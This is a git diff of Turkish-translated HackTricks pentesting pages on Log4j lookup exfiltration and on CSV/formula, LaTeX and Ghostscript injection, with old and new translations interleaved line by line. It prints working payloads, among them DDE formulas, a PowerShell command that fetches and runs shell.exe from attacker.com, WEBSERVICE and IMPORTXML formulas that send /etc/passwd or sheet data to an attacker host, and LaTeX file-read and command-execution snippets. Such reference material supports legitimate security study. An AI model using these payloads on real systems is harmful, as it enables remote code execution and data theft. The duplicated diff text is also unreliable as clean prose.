Bu CTF'de saldırgan `${sys:cmd}` değerini kontrol ediyordu ve bir ortam değişkeninden bayrağı çıkarması gerekiyordu. Bu sayfada [**önceki payloadlarda**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) olduğu gibi, **`${env:FLAG}`** gibi farklı yollarla ortam değişkenlerine erişmek mümkündür. Bu CTF'de bu işe yaramadı, ancak başka gerçek hayat senaryolarında işe yarayabilir.
Bu [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) sırasında saldırgan `${sys:cmd}` değerini kontrol ediyordu ve bayrağı bir ortam değişkeninden dışarı çıkarması gerekiyordu.\
Bu sayfada [**önceki yüklerde**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) görüldüğü gibi, **`${env:FLAG}`** gibi farklı yollarla ortam değişkenlerine erişmek mümkündür. Bu CTF'de bu işe yaramadı ancak diğer gerçek hayat senaryolarında işe yarayabilir.
### Exceptions ile Veri Çalma
### İstisnalarda Bilgi Dışa Aktarma
CTF'de, log4J kullanarak java uygulamasının stderr'ine erişemediniz, ancak Log4J **istisnaları stdout'a gönderilir**, bu da python uygulamasında yazdırılır. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına gelir. Bayrağı çalmak için bir istisna: **`${java:${env:FLAG}}`.** Bu çalışır çünkü **`${java:CTF{blahblah}}`** mevcut değil ve bayrağın değeriyle bir istisna gösterilecektir:
CTF'de, log4J kullanarak java uygulamasının stderr'ına erişilemiyordu, ancak Log4J **istisnaları stdout'a gönderiliyordu**, bu da python uygulamasında yazdırıldı. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışa aktarmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığı için çalışır ve bayrağın değeriyle bir istisna gösterilir:
![](<../../.gitbook/assets/image (157).png>)
### Dönüşüm Desenleri İstisnaları
Sadece bahsetmek için, yeni [**dönüşüm desenleri**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) enjekte edebilir ve `stdout`'a kaydedilen istisnaları tetikleyebilirsiniz. Örneğin:
Sadece belirtmek gerekirse, yeni [**dönüşüm desenleri**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) enjekte edebilir ve `stdout`'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
Bu, hata mesajının içindeki tarihi çalmak için yararlı bulunmadı, çünkü dönüşüm deseninden önce arama çözülmedi, ancak tespit etmek gibi diğer şeyler için kullanışlı olabilir.
Bu, hata mesajı içindeki tarihi dışa aktarmak için yararlı bulunmadı, çünkü arama, dönüşüm deseninden önce çözülmedi, ancak algılama gibi diğer şeyler için yararlı olabilir.
### Dönüşüm Desenleri Regexleri
### Dönüşüm Desenleri Regexler
Ancak, regexleri destekleyen bazı **dönüşüm desenleri** kullanarak bir arama sırasında bilgi çalmak mümkündür ve **ikili arama** veya **zamana dayalı** davranışları kötüye kullanabilirsiniz.
Ancak, bazı **regexleri destekleyen dönüşüm desenleri** kullanarak bir aramadan bilgi dışa aktarmak mümkündür ve **ikili arama** veya **zamana dayalı** davranışları kötüye kullanabilirsiniz.
* **İstisna mesajları aracılığıyla ikili arama**
**`%replace`** dönüşüm deseni, bir **diziden içeriği** **regexler** kullanarak **değiştirmek** için kullanılabilir. Şu şekilde çalışır: `replace{pattern}{regex}{substitution}`\
Bu davranışı kötüye kullanarak, regex'in dize içinde herhangi bir şeyle eşleştiğinde **bir istisna tetikleyebilir** (eğer bulunamazsa istisna tetiklenmez) örneğin:
Dönüşüm deseni **`%replace`** bir **diziden içeriği değiştirmek** için hatta **regexler** kullanarak çalışabilir. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\
Bu davranışı kötüye kullanarak, eğer regex, dize içinde herhangi bir şeyi eşleşirse bir istisna tetikleyebilirsiniz (eğer bulunamazsa istisna olmaz) şu şekilde:
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
```
* **Zaman tabanlı**
* **Zamana bağlı**
Önceki bölümde belirtildiği gibi, **`%replace`** **regexleri** destekler. Bu nedenle, bayrağın bulunduğu durumda bir **zaman aşımı** oluşturmak için [**ReDoS sayfasındaki**](../regular-expression-denial-of-service-redos.md) payload kullanılabilir.\
Örneğin, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` gibi bir payload, o CTF'de bir **zaman aşımı** tetikleyecektir.
Önceki bölümde belirtildiği gibi **`%replace`**, **regexleri** destekler. Bu nedenle, bayrağın bulunduğu durumda bir **zaman aşımı** oluşturmak için [**ReDoS sayfasından**](../regular-expression-denial-of-service-redos.md) bir yükleme kullanmak mümkündür.\
Örneğin, `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` gibi bir yükleme, o CTF'de bir **zaman aşımı** tetikleyebilir.
Bu [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) sayfasında, bir ReDoS saldırısı yerine yanıtta bir zaman farkı oluşturmak için bir **amplifikasyon saldırısı** kullanıldı:
Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), bir ReDoS saldırısı yerine yanıtta bir zaman farkı oluşturmak için bir **amplifikasyon saldırısı** kullanıldı:
> ```
> /%replace{
@ -410,12 +424,11 @@ Bu [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> }{#}{######################################################}
> ```
>
> Eğer bayrak `flagGuess` ile başlarsa, tüm bayrak 29 `#` karakteriyle değiştirilir (Bu karakterin bayrağın bir parçası olması olası değildir). **Elde edilen 29 `#` karakterinin her biri 54 `#` karakteriyle değiştirilir**. Bu işlem **6 kez tekrarlanır** ve toplamda ` 29*54*54^6* =`` `` `**`96816014208` `#` karakteri oluşur!**
> Eğer bayrak `flagGuess` ile başlıyorsa, tüm bayrak 29 `#` ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). **Sonuç olarak elde edilen 29 `#`'den her biri ardışık olarak 54 `#` ile değiştirilir**. Bu işlem **6 kez tekrarlanır**, toplamda ` 29*54*54^6* =`` `` `**`96816014208`** **`#` oluşur!**
>
> Bu kadar çok `#` karakterinin değiştirilmesi, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bunun sonucunda kullanıcıya HTTP durum kodu 500 gönderilecektir. (Eğer bayrak `flagGuess` ile başlamazsa, 500 olmayan bir durum kodu alırız)
> Bu kadar çok `#`'nin değiştirilmesi, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bunun sonucunda kullanıcıya HTTP durum kodu 500 gönderilecektir. (Eğer bayrak `flagGuess` ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)
## Referanslar
@ -428,23 +441,16 @@ Bu [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli güvenlik açıklarını bulun ve daha hızlı çözün. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin</summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.**
</details>

View file

@ -1,38 +1,30 @@
# Formül/CSV/Döküman/LaTeX/GhostScript Enjeksiyonu
# Formül Enjeksiyonu
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**]'imiz (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Formül Enjeksiyonu
### Bilgi
Eğer **girdiniz**, **CSV dosyaları**nda (veya muhtemelen **Excel** tarafından açılacak başka bir dosyada) **yansıtılıyorsa**, Excel sayfasını **açtığında** veya kullanıcı **bazı bağlantılara tıkladığında** çalıştırılacak Excel **formülleri** ekleyebilirsiniz.
Eğer **girdiniz** **CSV dosyaları** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya içinde), Excel **formülleri** ekleyebilirsiniz ki bu formüller dosya **açıldığında** veya kullanıcı **Excel tablosu içindeki bir bağlantıya tıkladığında** **çalıştırılabilir** olabilir.
{% hint style="danger" %}
Günümüzde, Excel, kullanıcının kötü niyetli eylemlerden korunmak için, Excel dışından bir şey yüklendiğinde kullanıcıya (birkaç kez) **uyarıda bulunur**. Bu nedenle, son saldırı yükü için özel bir Sosyal Mühendislik çabası gereklidir.
Günümüzde **Excel**, kullanıcının **kötü niyetli eylemlerden kaçınması** için, dışarıdan Excel'e yüklenen bir şey olduğunda kullanıcıya **birkaç kez uyarı verecektir**. Bu nedenle, son yükte **Sosyal Mühendislik** için özel çaba gösterilmelidir.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
### [Kelime Listesi](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
@ -43,75 +35,71 @@ DDE ("cmd";"/C calc";"!A0")A0
```
### Hyperlink
**Aşağıdaki örnek, son excel tablosundan içeriği dışarı çıkarmak ve keyfi konumlara istekler yapmak için çok kullanışlıdır. Ancak, kullanıcının bağlantıya tıklaması (ve uyarıları kabul etmesi) gerekmektedir.**
**Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve keyfi konumlara istekler yapmak için çok kullanışlıdır. Ancak, kullanıcının bağlantıya tıklaması ve uyarıları kabul etmesi gerekmektedir.**
Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır.
Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, CSV enjeksiyon saldırısıyla sömürülür. Saldırganın temel amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmak. Saldırı aşağıdaki gibi gerçekleşir:
1. **Zararlı Yükün Enjekte Edilmesi:**
- Saldırgan, öğrenci detay formunu gönderirken, elektronik tablolarda yaygın olarak kullanılan bir formülü (örneğin, `=HYPERLINK("<zararlı_bağlantı>","Buraya tıklayın")`) dahil eder.
- Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen zararlı bir sunucuya işaret eder.
2. **Kompromize Edilmiş Verinin Dışa Aktarılması:**
- Kompromis farkında olmayan öğretmenler, verileri bir CSV dosyasına aktarmak için uygulamanın işlevselliğini kullanır.
- CSV dosyası, açıldığında hala zararlı yük içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür.
Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın temel amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın kötü niyetli bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için tasarlanmış alanlara zararlı formüller girmek suretiyle. Saldırı şu şekilde gerçekleşir:
1. **Kötü Niyetli Yükün Enjeksiyonu:**
* Saldırgan bir öğrenci detay formu gönderir ancak bir elektronik tablolarda yaygın olarak kullanılan bir formülü içerir (örneğin, `=HYPERLINK("<kötü_niyetli_link>","Buraya tıklayın")`).
* Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen kötü niyetli bir sunucuya işaret eder.
2. **Kompromize Edilmiş Verilerin Dışa Aktarılması:**
* Kompromisin farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
* Açıldığında CSV dosyası hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür.
3. **Saldırının Tetiklenmesi:**
- Bir öğretmen, öğrenci detaylarının meşru bir parçası olduğuna inanarak bağlantıya tıklar.
- Tıkladıktan sonra, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından ayrıntılar) saldırganın sunucusuna iletilir.
* Bir öğretmen, bağlantıya öğrenci detaylarının meşru bir parçası olduğuna inanarak tıklar.
* Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından detaylar içerebilir) saldırganın sunucusuna iletilir.
4. **Verilerin Kaydedilmesi:**
- Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
- Saldırgan daha sonra bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atarak.
* Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
* Saldırgan daha sonra bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atarak.
### RCE
**Daha fazla ayrıntı için [orijinal yayına](https://notsosecure.com/data-exfiltration-formula-injection-part1) bakın.**
**Daha fazla ayrıntı için** [**orijinal yazıya**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **bakın.**
Belirli yapılandırmalarda veya eski sürümlerde, Excel'in Dynamic Data Exchange (DDE) adlı bir özelliği keyfi komutları yürütmek için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmesi gerekmektedir:
Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutları yürütmek için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir:
- Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Harici İçerik'e gidin ve **Dynamic Data Exchange Server Launch**'ı etkinleştirin.
* Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Dış İçerik'e gidin ve **Dinamik Veri Değişimi Sunucusu Başlatma**'yı etkinleştirin.
Zararlı yük içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), zararlı yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için zararlı yük şu şekilde olacaktır:
Kötü niyetli yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için yük şu şekilde olacaktır:
```markdown
`=cmd|' /C calc'!xxx`
```
Ek komutlar da çalıştırılabilir, örneğin PowerShell kullanarak bir dosya indirip çalıştırmak:
Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosya indirilip yürütülebilir:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LibreOffice Calc'ta Yerel Dosya Dahil Etme (LFI)
LibreOffice Calc, yerel dosyaları okumak ve veri sızdırmak için kullanılabilir. İşte bazı yöntemler:
LibreOffice Calc, yerel dosyaları okumak ve veri dışa aktarmak için kullanılabilir. İşte bazı yöntemler:
- Yerel `/etc/passwd` dosyasından ilk satırı okuma: `='file:///etc/passwd'#$passwd.A1`
- Okunan verileri saldırgan tarafından kontrol edilen bir sunucuya sızdırma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
- Birden fazla satırı sızdırma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
- DNS sızdırma (okunan verileri saldırgan tarafından kontrol edilen bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<saldırgan alan adı>"))`
* Yerel `/etc/passwd` dosyasından ilk satırı okuma: `='file:///etc/passwd'#$passwd.A1`
* Okunan verileri saldırganın kontrolündeki sunucuya dışa aktarma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Birden fazla satırı dışa aktarma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS dışa aktarma (okunan verileri saldırganın kontrolündeki DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<saldırgan domain>"))`
### Out-of-Band (OOB) Veri Sızdırma için Google Sheets
### Out-of-Band (OOB) Veri Dışa Aktarma için Google Sheets
Google Sheets, OOB veri sızdırma için istismar edilebilecek işlevler sunar:
- **CONCATENATE**: Dizeleri birleştirir - `=CONCATENATE(A2:E2)`
- **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
- **IMPORTFEED**: RSS veya ATOM beslemelerini alır - `=IMPORTFEED(CONCAT("http://<saldırgan IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
- **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
- **IMPORTRANGE**: Başka bir elektronik tablodan hücre aralığı alır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: Bir hücreye bir resim ekler - `=IMAGE("https://<saldırgan IP:Port>/images/srpr/logo3w.png")`
Google Sheets, OOB veri dışa aktarma için sömürülebilecek fonksiyonlar sunar:
* **CONCATENATE**: Dizeleri birleştirir - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: RSS veya ATOM beslemelerini içe aktarır - `=IMPORTFEED(CONCAT("http://<saldırgan IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Başka bir elektronik tablodan hücre aralığını içe aktarır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Bir hücreye bir resim ekler - `=IMAGE("https://<saldırgan IP:Port>/images/srpr/logo3w.png")`
## LaTeX Enjeksiyonu
Genellikle internet üzerinde bulunan **LaTeX kodunu PDF'ye dönüştüren sunucular** **`pdflatex`** kullanır.\
Bu program, komut yürütme işlemini (devre dışı bırakmak) veya (etkinleştirmek) için 3 ana özelliği kullanır:
Genellikle **LaTeX kodunu PDF'ye dönüştüren sunucular** **`pdflatex`** kullanır.\
Bu program, komut yürütme işlemine (izin verme) veya (yasaklama) için 3 ana özelliği kullanır:
* **`--no-shell-escape`**: `\write18{command}` yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile.
* **`--shell-restricted`**: `--shell-escape` ile aynıdır, ancak 'güvenli' bir dizi **önceden tanımlanmış** komutlarla **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` dosyasında bulunur).
* **`--shell-escape`**: `\write18{command}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı normalde güvenlik nedenleriyle yasaklanmıştır.
* **`--no-shell-escape`**: `\write18{komut}` yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile.
* **`--shell-restricted`**: `--shell-escape` ile aynıdır, ancak `/usr/share/texmf/web2c/texmf.cnf` dosyasında belirli bir 'güvenli' kümesine **önceden tanımlanmış** \*\*komutlarla sınırlıdır (\*\*Ubuntu 16.04'te liste burada bulunur).
* **`--shell-escape`**: `\write18{komut}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır.
Ancak, komutları yürütmek için başka yollar vardır, bu nedenle Uzaktan Komut Yürütme'yi önlemek için `--shell-restricted` kullanmak çok önemlidir.
Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle Uzak Kod Yürütme'yi önlemek için `--shell-restricted` kullanmak çok önemlidir.
### Dosya Okuma <a href="#read-file" id="read-file"></a>
@ -123,13 +111,7 @@ Enjeksiyonu \[ veya $ gibi sarmalayıcılarla ayarlamak gerekebilir.
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Tek satırlık dosya okuma
```bash
cat file.txt
```
Bu komut, `file.txt` adlı dosyanın içeriğini tek bir satırda okur ve terminale yazdırır.
#### Tek satırlı dosya okuma
```bash
\newread\file
\openin\file=/etc/issue
@ -137,25 +119,7 @@ Bu komut, `file.txt` adlı dosyanın içeriğini tek bir satırda okur ve termin
\text{\line}
\closein\file
```
#### Çok satırlı dosya okuma
Bir dosyanın birden çok satırını okumak için aşağıdaki adımları izleyin:
1. Dosyayıın ve okuma modunda açık tutun.
2. Dosyanın içeriğini satır satır okuyun.
3. Her satırı işleyin veya kullanın.
Aşağıda Python dilinde bir örnek bulunmaktadır:
```python
with open('dosya.txt', 'r') as dosya:
satirlar = dosya.readlines()
for satir in satirlar:
# Satırı işleyin veya kullanın
print(satir)
```
Bu kod, "dosya.txt" adlı dosyayı okur ve her satırı ekrana yazdırır. İşlem yapmak istediğiniz her satır için uygun kodu ekleyebilirsiniz.
#### Birden fazla satırlı dosya okuma
```bash
\newread\file
\openin\file=/etc/passwd
@ -165,14 +129,14 @@ Bu kod, "dosya.txt" adlı dosyayı okur ve her satırı ekrana yazdırır. İşl
\repeat
\closein\file
```
### Dosya yazma <a href="#dosya-yazma" id="dosya-yazma"></a>
### Dosya yaz<a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Komut yürütme <a href="#komut-yürütme" id="komut-yürütme"></a>
### Komut yürütme <a href="#command-execution" id="command-execution"></a>
Komutun girdisi stdin'e yönlendirilecek, bunu almak için geçici bir dosya kullanın.
```bash
@ -209,14 +173,14 @@ Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) tarafından yapılan bir paylaşımdan alıntıdır.
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) tarafından.
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Enjeksiyonu
**[https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) adresini kontrol edin.**
**Kontrol Edin** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Referanslar
@ -225,22 +189,16 @@ Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
En önemli olan zayıflıkları bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. [**Ücretsiz deneyin**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) bugün.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
